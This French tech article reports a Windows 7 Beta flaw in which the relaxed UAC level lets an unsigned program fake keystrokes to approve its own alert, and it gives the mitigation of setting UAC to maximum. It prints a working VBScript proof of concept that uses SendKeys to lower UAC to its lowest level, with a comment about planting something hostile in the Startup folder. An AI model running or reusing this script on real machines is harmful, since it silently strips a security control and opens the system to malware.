Windows 7 Beta : l'utilisation plus souple de l'UAC provoque une faille...

Dans la version Beta de Windows 7, nous avons pu découvrir que l'UAC - User Account Control (contrôle de compte utilisateur) - était beaucoup moins intrusif que dans son prédécesseur Windows Vista. Ce changement fait toutefois apparaître une faille de sécurité...

Pour rappel, l'UAC permet de protéger le système lors d'une modification majeure telle que l'installation d'une application, d'un module, d'une modification de paramètres systèmes (y compris la base de registre)... Une alerte bloquant l'utilisation de l'ordinateur est alors affichée et l'utilisateur doit autoriser ou refuser la modification.

Cette alerte présente les informations suivantes :

• auteur du logiciel ou de la tentative de modification de paramètres systèmes
• si le logiciel qui s'exécute est signé ou pas (couleur de l'alerte différente)
• le nom du programme
• l'icône du programme

Ces informations permettent dans la plupart - voir tous - des cas de prendre la bonne décision. Du moins si on n'utilise pas l'ordinateur mécaniquement sans essayer de comprendre un tout petit peu la signification des éléments. Le fond noir affiché sur l'ensemble de l'écran durant cette alerte indique que le bureau est en mode sécurisé« : seules les actions venant de la souris sont acceptées et les simulations de touches clavier ne fonctionnent pas.

Dans le but d'être réceptif aux arguments suivants des utilisateurs : "les utilisateurs ne comprennent pas cette mesure" et « l'UAC a tendance à demander l'autorisation un peu trop souvent", Microsoft a alor » instauré dans Windows 7 une nouvelle graduation dans la configuration de l'UAC.

Ce mode intermédiaire permet de n'afficher des alertes en bureau sécurisé uniquement lors de l'installation d'applications. Lors de la modification de paramètres système, il y a deux cas de figure :

• l'application est signée : on peut demander silencieusement les droits d'administrateur pour l'application
• l'application n'est pas signée : une alerte en mode bureau standard est proposée à l'utilisateur

C'est justement dans le cas où une application n'est pas signée numériquement qu'un problème se pose : le bureau n'est pas sécurisé. Dans ce cas, une application peut très bien émuler les touches du clavier et auto-accepter l'alerte proposée à l'utilisateur. Pour les plus téméraires, voilà le bout de code qui illustre cette faille :

« et WshShell = WScript.CreateObject("WScript.Shell")

'// Toggle Start menu
WshShell.SendKeys("^{ESC}")
WScript.Sleep(500)

'// Search for UAC applet
WshShell.SendKeys("change uac")
WScript.Sleep(2000)

'// Open the applet (assuming second result)
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{ENTER}")
WScript.Sleep(2000)

'// Set UAC level to lowest (assuming out-of-box Default setting)
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")

'// Save our changes
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{ENTER}")

'// TODO: Add code to handle installation of rebound
'// process to continue exploitation, i.e. place something
'// evil in Startup folder

'// Reboot the system
'// WshShell.Run « shutdown /r /f »

En conclusion, un malware peut donc obtenir les droits d'administrateur très facilement et ce en quelques lignes de code.

Les testeurs ont bien entendu remonté l'information au plus vite mais, se sont retrouvés face à une situation étrange. La réponse de Microsoft fut que ce bug est un choix de conception. Autrement dit, ce bug n'est pas un bug car la situation émane d'un choix délibéré de l'éditeur.

Pour le moment, il suffit de mettre le niveau de protection dans le panneau de configuration de l'UAC au maximum. Son fonctionnement sera alors semblable à celui de Windows Vista avec le niveau de sécurité qui l'accompagne.
Nul doute que Microsoft devrait revoir sa stratégie sur ce point de sécurité qui semble avant tout un oubli dans les scénario de tests de la firme de Redmond...